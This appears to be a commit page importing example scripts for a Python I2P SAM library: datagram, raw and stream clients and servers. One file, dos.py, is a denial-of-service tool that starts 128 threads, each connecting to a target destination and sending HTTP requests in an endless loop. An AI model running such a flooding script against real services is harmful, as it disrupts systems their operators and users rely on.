forked from I2P_Developers/i2p.i2p
initial import of Connelly's public domain I2P python lib
This commit is contained in:
15
apps/sam/python/src/examples/datagram.py
Normal file
15
apps/sam/python/src/examples/datagram.py
Normal file
@@ -0,0 +1,15 @@
|
||||
|
||||
# -----------------------------------------------
|
||||
# datagram.py: Datagram client
|
||||
# -----------------------------------------------
|
||||
|
||||
from i2p import sam
|
||||
|
||||
dest = sam.resolve('yourserver.i2p')
|
||||
S = sam.socket('Bob', sam.SOCK_DGRAM)
|
||||
S.sendto('Hello packet', 0, dest)
|
||||
|
||||
# Get packet up to 1000 bytes -- the rest is discarded.
|
||||
(data, dest) = S.recvfrom(1000)
|
||||
|
||||
print data
|
||||
20
apps/sam/python/src/examples/datagram_noblock.py
Normal file
20
apps/sam/python/src/examples/datagram_noblock.py
Normal file
@@ -0,0 +1,20 @@
|
||||
|
||||
# ---------------------------------------------------
|
||||
# datagram_noblock.py: Non-blocking datagram server
|
||||
# ---------------------------------------------------
|
||||
|
||||
from i2p import sam
|
||||
import time
|
||||
|
||||
S = sam.socket('Eve', sam.SOCK_DGRAM)
|
||||
print 'Serving at:', S.dest
|
||||
S.setblocking(False)
|
||||
|
||||
while True:
|
||||
try:
|
||||
(data, dest) = S.recvfrom(1000) # Read packet
|
||||
print 'Got', data, 'from', dest
|
||||
S.sendto('Hi client!', 0, dest)
|
||||
except sam.BlockError: # No data available
|
||||
pass
|
||||
time.sleep(0.01) # Reduce CPU usage
|
||||
14
apps/sam/python/src/examples/datagram_server.py
Normal file
14
apps/sam/python/src/examples/datagram_server.py
Normal file
@@ -0,0 +1,14 @@
|
||||
|
||||
# -----------------------------------------------
|
||||
# datagram_server.py: Datagram server
|
||||
# -----------------------------------------------
|
||||
|
||||
from i2p import sam
|
||||
|
||||
S = sam.socket('Eve', sam.SOCK_DGRAM)
|
||||
print 'Serving at:', S.dest
|
||||
|
||||
while True:
|
||||
(data, dest) = S.recvfrom(1000) # Read packet
|
||||
print 'Got', data, 'from', dest
|
||||
S.sendto('Hi client!', 0, dest)
|
||||
33
apps/sam/python/src/examples/dos.py
Normal file
33
apps/sam/python/src/examples/dos.py
Normal file
@@ -0,0 +1,33 @@
|
||||
|
||||
# -----------------------------------------------
|
||||
# dos.py: Noneffective denial of service tool
|
||||
# -----------------------------------------------
|
||||
|
||||
from i2p import sam
|
||||
import threading, sys
|
||||
|
||||
def dos_stream(dest):
|
||||
"""Perform a DOS attack on a stream server."""
|
||||
dest = sam.resolve(dest)
|
||||
|
||||
# DOS code, runs in n separate threads.
|
||||
def f():
|
||||
while True:
|
||||
S = sam.socket(dest, sam.SOCK_STREAM)
|
||||
S.connect(dest)
|
||||
S.send('GET / HTTP/1.0\r\n\r\n')
|
||||
S.close()
|
||||
|
||||
# Start up the threads.
|
||||
for i in range(128):
|
||||
T = threading.Thread(target=f)
|
||||
T.start()
|
||||
|
||||
def syntax():
|
||||
print "Usage: python dos.py Destination"
|
||||
|
||||
if __name__ == '__main__':
|
||||
if len(sys.argv) == 2:
|
||||
dos_stream(sys.argv[1])
|
||||
else:
|
||||
syntax()
|
||||
14
apps/sam/python/src/examples/examples.txt
Normal file
14
apps/sam/python/src/examples/examples.txt
Normal file
@@ -0,0 +1,14 @@
|
||||
|
||||
Examples:
|
||||
|
||||
datagram.py - Datagram client
|
||||
datagram_noblock.py - Non-blocking datagram server
|
||||
datagram_server.py - Blocking datagram server
|
||||
dos.py - Denial of service tool
|
||||
raw.py - Raw client
|
||||
raw_noblock.py - Non-blocking raw server
|
||||
raw_server.py - Raw server
|
||||
stream.py - Stream client
|
||||
stream_eepget.py - Get an eepsite using sockets
|
||||
stream_noblock.py - Non-blocking stream server
|
||||
stream_server.py - Blocking stream server
|
||||
10
apps/sam/python/src/examples/raw.py
Normal file
10
apps/sam/python/src/examples/raw.py
Normal file
@@ -0,0 +1,10 @@
|
||||
|
||||
# -----------------------------------------------
|
||||
# raw.py: Raw client
|
||||
# -----------------------------------------------
|
||||
|
||||
from i2p import sam
|
||||
|
||||
dest = sam.resolve('yourserver.i2p') # Send to dest
|
||||
S = sam.socket('Carol', sam.SOCK_RAW)
|
||||
S.sendto('Hello packet', 0, dest)
|
||||
19
apps/sam/python/src/examples/raw_noblock.py
Normal file
19
apps/sam/python/src/examples/raw_noblock.py
Normal file
@@ -0,0 +1,19 @@
|
||||
|
||||
# ---------------------------------------------------
|
||||
# raw_noblock.py: Non-blocking raw server
|
||||
# ---------------------------------------------------
|
||||
|
||||
from i2p import sam
|
||||
import time
|
||||
|
||||
S = sam.socket('Eve', sam.SOCK_RAW)
|
||||
print 'Serving at:', S.dest
|
||||
S.setblocking(False)
|
||||
|
||||
while True:
|
||||
try:
|
||||
data = S.recv(1000) # Read packet
|
||||
print 'Got', data
|
||||
except sam.BlockError: # No data available
|
||||
pass
|
||||
time.sleep(0.01) # Reduce CPU usage
|
||||
13
apps/sam/python/src/examples/raw_server.py
Normal file
13
apps/sam/python/src/examples/raw_server.py
Normal file
@@ -0,0 +1,13 @@
|
||||
|
||||
# -----------------------------------------------
|
||||
# raw_server.py: Raw server
|
||||
# -----------------------------------------------
|
||||
|
||||
from i2p import sam
|
||||
|
||||
S = sam.socket('Eve', sam.SOCK_RAW)
|
||||
print 'Serving at:', S.dest
|
||||
|
||||
while True:
|
||||
data = S.recv(1000) # Read packet
|
||||
print 'Got', data
|
||||
11
apps/sam/python/src/examples/stream.py
Normal file
11
apps/sam/python/src/examples/stream.py
Normal file
@@ -0,0 +1,11 @@
|
||||
|
||||
# -----------------------------------------------
|
||||
# stream.py: Simple stream client
|
||||
# -----------------------------------------------
|
||||
|
||||
from i2p import sam
|
||||
|
||||
S = sam.socket('Alice', sam.SOCK_STREAM)
|
||||
S.connect('duck.i2p')
|
||||
S.send('GET / HTTP/1.0\r\n\r\n') # Send request
|
||||
print S.recv(1000) # Read up to 1000 bytes
|
||||
17
apps/sam/python/src/examples/stream_eepget.py
Normal file
17
apps/sam/python/src/examples/stream_eepget.py
Normal file
@@ -0,0 +1,17 @@
|
||||
|
||||
# -----------------------------------------------
|
||||
# stream_eepget.py: Get an eepsite using sockets
|
||||
# -----------------------------------------------
|
||||
|
||||
from i2p import sam
|
||||
|
||||
S = sam.socket('Alice', sam.SOCK_STREAM)
|
||||
S.connect('duck.i2p')
|
||||
S.send('GET / HTTP/1.0\r\n\r\n') # Send request
|
||||
f = S.makefile() # File object
|
||||
|
||||
while True: # Read header
|
||||
line = f.readline().strip() # Read a line
|
||||
if line == '': break # Content begins
|
||||
|
||||
print f.read() # Read file object
|
||||
39
apps/sam/python/src/examples/stream_noblock.py
Normal file
39
apps/sam/python/src/examples/stream_noblock.py
Normal file
@@ -0,0 +1,39 @@
|
||||
|
||||
# -----------------------------------------------
|
||||
# stream_noblock.py: Non-blocking stream server
|
||||
# -----------------------------------------------
|
||||
|
||||
import i2p
|
||||
from i2p import sam
|
||||
import thread, time
|
||||
|
||||
S = sam.socket('Dave', sam.SOCK_STREAM)
|
||||
S.listen(10) # Queue up to 10 connections
|
||||
S.setblocking(False) # Non-blocking
|
||||
print 'Serving at:', S.dest
|
||||
|
||||
def handle_connection(C):
|
||||
"""Handle a single connection in a thread of its own."""
|
||||
try:
|
||||
f = C.makefile() # File object
|
||||
req = f.readline() # Read HTTP request
|
||||
|
||||
s = '<h1>Hello!</h1>' # String to send back
|
||||
|
||||
f.write('HTTP/1.0 200 OK\r\nContent-Type: text/html' +
|
||||
'\r\nContent-Length: ' + str(int(len(s))) + '\r\n\r\n' + s)
|
||||
|
||||
f.close() # Close file
|
||||
C.close() # Close connection
|
||||
except sam.Error, e:
|
||||
# Recover from SAM errors
|
||||
print 'Warning:', str(e)
|
||||
|
||||
while True:
|
||||
try:
|
||||
(C, remotedest) = S.accept() # Get a connection
|
||||
thread.start_new_thread(handle_connection, (C,))
|
||||
except sam.BlockError:
|
||||
# Ignore 'command would have blocked' errors
|
||||
pass
|
||||
time.sleep(0.01) # Reduce CPU usage
|
||||
28
apps/sam/python/src/examples/stream_server.py
Normal file
28
apps/sam/python/src/examples/stream_server.py
Normal file
@@ -0,0 +1,28 @@
|
||||
|
||||
# -----------------------------------------------
|
||||
# stream_server.py: Simple stream server
|
||||
# -----------------------------------------------
|
||||
|
||||
import i2p
|
||||
from i2p import sam
|
||||
|
||||
S = sam.socket('Dave', sam.SOCK_STREAM)
|
||||
S.listen(10) # Queue up to 10 connections
|
||||
print 'Serving at:', S.dest
|
||||
|
||||
while True:
|
||||
try:
|
||||
(C, remotedest) = S.accept() # Get a connection
|
||||
f = C.makefile() # File object
|
||||
req = f.readline() # Read HTTP request
|
||||
|
||||
s = '<h1>Hello!</h1>' # String to send back
|
||||
|
||||
f.write('HTTP/1.0 200 OK\r\nContent-Type: text/html' +
|
||||
'\r\nContent-Length: ' + str(int(len(s))) + '\r\n\r\n' + s)
|
||||
|
||||
f.close() # Close file
|
||||
C.close() # Close connection
|
||||
except sam.Error, e:
|
||||
# Recover from SAM errors
|
||||
print 'Warning:', str(e)
|
||||
Reference in New Issue
Block a user